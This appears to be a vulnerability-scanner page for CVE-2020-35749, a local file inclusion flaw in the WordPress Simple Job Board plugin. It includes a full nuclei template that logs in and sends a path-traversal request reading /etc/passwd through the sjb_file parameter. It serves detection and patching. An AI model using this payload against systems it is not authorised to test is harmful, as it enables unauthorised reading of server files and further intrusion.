WordPress Simple Job Board <2.9.4 - Local File Inclusion

highseverity

7.7CVSS score

30.5%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

WordPress Simple Job Board prior to version 2.9.4 is vulnerable to arbitrary file retrieval vulnerabilities because it does not validate the sjb_file parameter when viewing a resume, allowing an authenticated user with the download_resume capability (such as HR users) to download arbitrary files from the web-server via local file inclusion.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.

Fix

Update to WordPress Simple Job Board version 2.9.4 or later to fix the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/post.php?post=372&action=edit&sjb_file=../../../../etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-35749 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-35749

info:
  name: WordPress Simple Job Board <2.9.4 - Local File Inclusion
  author: cckuailong
  severity: high
  description: WordPress Simple Job Board prior to version 2.9.4 is vulnerable to arbitrary file retrieval vulnerabilities because it does not validate the sjb_file parameter when viewing a resume, allowing an authenticated user with the download_resume capability (such as HR users) to download arbitrary files from the web-server via local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.
  remediation: |
    Update to WordPress Simple Job Board version 2.9.4 or later to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/eed3bd69-2faf-4bc9-915c-c36211ef9e2d
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35749
    - https://docs.google.com/document/d/1TbePkrRGsczepBaJptIdVRvfRrjiC5hjGg_Vxdesw6E/edit?usp=sharing
    - http://packetstormsecurity.com/files/161050/Simple-JobBoard-Authenticated-File-Read.html
    - https://github.com/ezelnur6327/Enes4xd
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2020-35749
    cwe-id: CWE-22
    epss-score: 0.30479
    epss-percentile: 0.98252
    cpe: cpe:2.3:a:presstigers:simple_board_job:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: presstigers
    product: simple_board_job
    framework: wordpress
  tags: cve,cve2020,authenticated,packetstorm,wp,lfi,wordpress,wp-plugin,wpscan,presstigers,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/post.php?post=372&action=edit&sjb_file=../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

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